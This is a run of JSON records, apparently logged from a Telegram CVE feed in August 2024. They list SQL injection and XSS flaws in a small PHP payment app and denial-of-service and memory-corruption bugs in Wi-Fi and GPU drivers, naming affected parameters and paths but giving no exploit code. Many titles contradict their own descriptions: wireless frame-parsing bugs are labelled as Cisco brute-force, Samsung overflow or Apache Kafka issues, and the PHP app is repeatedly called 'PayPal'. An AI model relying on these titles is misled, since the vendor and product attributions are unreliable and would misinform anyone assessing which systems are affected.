"f16e0230-b1ca-4089-b02a-87f9418acdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33964", "type": "seen", "source": "https://t.me/cvedetector/2562", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33964 - PayPal Payment System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33964 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'id' in '/admin/mod_users/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:44.000000Z"}, {"uuid": "6c74a438-c24f-450c-8113-639dbf3f49c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33966", "type": "seen", "source": "https://t.me/cvedetector/2561", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33966 - PayPal Credit Card Debit Card SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33966 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'xtsearch' in '/admin/mod_reports/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:43.000000Z"}, {"uuid": "d221002c-78db-4c9e-b23f-4c8bfd5b40cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33011", "type": "seen", "source": "https://t.me/cvedetector/2468", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33011 - Cisco Wireless Router Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-33011 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing the MBSSID IE from the beacons, when the MBSSID IE length is zero. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:40.000000Z"}, {"uuid": "547bbaf3-5290-4688-a8bb-b64ae71d28ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33024", "type": "seen", "source": "https://t.me/cvedetector/2457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33024 - Cisco DNA Center HTTP Brute Force\", \n  \"Content\": \"CVE ID : CVE-2024-33024 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing the ML IE when a beacon with length field inside the common info of ML IE greater than the ML IE length. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:23.000000Z"}, {"uuid": "af2242fd-f321-46b3-b4ec-2de10397d5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33967", "type": "seen", "source": "https://t.me/cvedetector/2563", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33967 - PayPal Credit Card and Debit Card Payment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33967 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'view' in 'Attendance' and 'YearLevel' in '/AttendanceMonitoring/report/attendance_print.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:45.000000Z"}, {"uuid": "e9d326e8-4b2b-4850-8398-6d9aad079893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33962", "type": "seen", "source": "https://t.me/cvedetector/2569", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33962 - PayPal Payment Card Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33962 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following\u00a0'code' in '/admin/mod_reservation/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:56.000000Z"}, {"uuid": "5cf151e6-5276-4414-85aa-336f32fe70f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33961", "type": "seen", "source": "https://t.me/cvedetector/2568", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33961 - PayPal Unsecured Payment Database SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33961 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following\u00a0'code' in '/admin/mod_reservation/controller.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:55.000000Z"}, {"uuid": "b6a2cf61-46bb-483d-bcbb-456377624161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33960", "type": "seen", "source": "https://t.me/cvedetector/2567", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33960 - PayPal Credit Card Debit Card Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33960 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following\u00a0'end' in '/admin/mod_reports/printreport.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:54.000000Z"}, {"uuid": "9207c790-91b7-4f00-a51f-5b94b6730800", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33965", "type": "seen", "source": "https://t.me/cvedetector/2564", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33965 - PayPal Credit Card Debit Card SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33965 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'view' in '/tubigangarden/admin/mod_accomodation/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:46.000000Z"}, {"uuid": "b714e466-7a47-4596-aedd-077ee6f4e2dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33968", "type": "seen", "source": "https://t.me/cvedetector/2565", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33968 - PayPal Financial Services SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33968 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'Attendance' and 'YearLevel' in '/AttendanceMonitoring/report/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:47.000000Z"}, {"uuid": "ca6fa05e-568f-4d68-bb62-aa70fa2cd547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33973", "type": "seen", "source": "https://t.me/cvedetector/2557", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33973 - PayPal SQL Injection Bug\", \n  \"Content\": \"CVE ID : CVE-2024-33973 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following    'Attendance' and 'YearLevel' in '/report/attendance_print.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:36.000000Z"}, {"uuid": "9521d9db-6566-45d1-97fc-6a81959d3671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33972", "type": "seen", "source": "https://t.me/cvedetector/2556", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33972 - PayPal Credit Card Debit Card Payment System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33972 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following    'events' in '/report/event_print.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:35.000000Z"}, {"uuid": "bf007beb-1f26-4d87-b4c9-8f5ee489bfb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33018", "type": "seen", "source": "https://t.me/cvedetector/2463", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33018 - Proximity RFID Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33018 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing the received TID-to-link mapping element of the TID-to-link mapping action frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:32.000000Z"}, {"uuid": "8bb0eead-1e99-4296-bdf5-c397d24ba514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33015", "type": "seen", "source": "https://t.me/cvedetector/2464", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33015 - Samsung WiFi Router RRDOS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33015 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing SCAN RNR IE when bytes received from AP is such that the size of the last param of IE is less than neighbor report. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:33.000000Z"}, {"uuid": "5220cbbb-067b-4062-84b0-96a6157c6b66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33959", "type": "seen", "source": "https://t.me/cvedetector/2549", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33959 - PayPal Debit Card Payment SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33959 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following\u00a0'categ' in '/admin/mod_reports/printreport.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:17.000000Z"}, {"uuid": "aaa5751b-ec7c-44e5-a3dc-98c508be341b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33978", "type": "seen", "source": "https://t.me/cvedetector/2548", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33978 - E-Negosyo System XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33978 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. An attacker could create a specially crafted URL and send it to a victim to obtain their session cookie details via 'category' parameter in '/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:15.000000Z"}, {"uuid": "1eec7318-eb59-4ce1-99d5-c0059a229a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33979", "type": "seen", "source": "https://t.me/cvedetector/2547", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33979 - PayPal XSS Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33979 \nPublished : Aug. 6, 2024, 11:16 a.m. | 36\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could create a specially crafted URL and send it to a victim to obtain details of their session cookie via the\u00a0'q', 'arrival', 'departure' and 'accomodation' parameters\u00a0in '/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:11.000000Z"}, {"uuid": "0447167b-5069-4849-892c-9410bf5606ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33981", "type": "seen", "source": "https://t.me/cvedetector/2546", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33981 - PayPal XSS Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33981 \nPublished : Aug. 6, 2024, 11:16 a.m. | 36\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could create a specially crafted URL and send it to a victim to obtain details of their session cookie via the\u00a0'start' parameter in '/admin/mod_reports/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:10.000000Z"}, {"uuid": "2972910e-e30b-4afa-bc92-dbba58bf8faf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33980", "type": "seen", "source": "https://t.me/cvedetector/2545", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33980 - PayPal Payments Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33980 \nPublished : Aug. 6, 2024, 11:16 a.m. | 36\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could create a specially crafted URL and send it to a victim to obtain details of their session cookie via the\u00a0'start' parameter in '/admin/mod_reports/printreport.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:09.000000Z"}, {"uuid": "ce10a114-62ff-44c6-9811-94171a81c632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33019", "type": "seen", "source": "https://t.me/cvedetector/2462", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33019 - Apache Wi-Fi RADIUS TID-to-link Mapping Action Frame Denial of Service (DoS)\", \n  \"Content\": \"CVE ID : CVE-2024-33019 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing the received TID-to-link mapping action frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:31.000000Z"}, {"uuid": "396f5057-bf8a-4b95-99b6-6e23b5d86cb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33010", "type": "seen", "source": "https://t.me/cvedetector/2469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33010 - Aruba Networks Wi-Fi Boolean Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-33010 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing fragments of MBSSID IE from beacon frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:44.000000Z"}, {"uuid": "40912867-b8b4-4ce3-ace4-1fccc9b8e229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33025", "type": "seen", "source": "https://t.me/cvedetector/2456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33025 - Internet Protocol (IP) DOS Vuln in Broadband Wireless Router\", \n  \"Content\": \"CVE ID : CVE-2024-33025 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing the BSS parameter change count or MLD capabilities fields of the ML IE. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:19.000000Z"}, {"uuid": "bab4b299-28ae-4c85-8d87-cdf707f865a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33026", "type": "seen", "source": "https://t.me/cvedetector/2455", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33026 - Samsung Wi-Fi Router Stack Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33026 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing probe response and assoc response frame when received frame length is less than max size of timestamp. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:18.000000Z"}, {"uuid": "12f916be-758b-4154-b1f4-e3466cee3acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33013", "type": "seen", "source": "https://t.me/cvedetector/2466", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33013 - Fortinet Network Adapter Driver Privilege Escalation/DoS\", \n  \"Content\": \"CVE ID : CVE-2024-33013 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS when driver accesses the ML IE memory and offset value is incremented beyond ML IE length. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:38.000000Z"}, {"uuid": "036ce013-00df-450b-b00e-b6303e9a64e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33014", "type": "seen", "source": "https://t.me/cvedetector/2465", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33014 - Cisco Wireless Router Integer Overflow Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-33014 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing ESP IE from beacon/probe response frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:34.000000Z"}, {"uuid": "787824c8-3b47-42b2-a858-2e18a949d458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33023", "type": "seen", "source": "https://t.me/cvedetector/2460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33023 - Apache Kafka Out-of-Bounds Memory Write\", \n  \"Content\": \"CVE ID : CVE-2024-33023 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Memory corruption while creating a fence to wait on timeline events, and simultaneously signal timeline events. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:26.000000Z"}, {"uuid": "4d5dfc4f-dd74-4597-8f69-fbd1c300e3fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33022", "type": "seen", "source": "https://t.me/cvedetector/2459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33022 - \"HGSL Driver Memory Corruption\"\", \n  \"Content\": \"CVE ID : CVE-2024-33022 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Memory corruption while allocating memory in HGSL driver. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:25.000000Z"}, {"uuid": "6743e478-0c02-4182-b404-1f59018376a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33020", "type": "seen", "source": "https://t.me/cvedetector/2458", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33020 - Cisco Internet Edge Transient DOS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33020 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while processing TID-to-link mapping IE elements. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:24.000000Z"}, {"uuid": "49c1e812-a7b1-47c9-9e62-69a4b6b3b562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33027", "type": "seen", "source": "https://t.me/cvedetector/2454", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33027 - NVIDIA GPU Page Table Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33027 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Memory corruption can occur when arbitrary user-space app gains kernel level privilege to modify DDR memory by corrupting the GPU page table. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  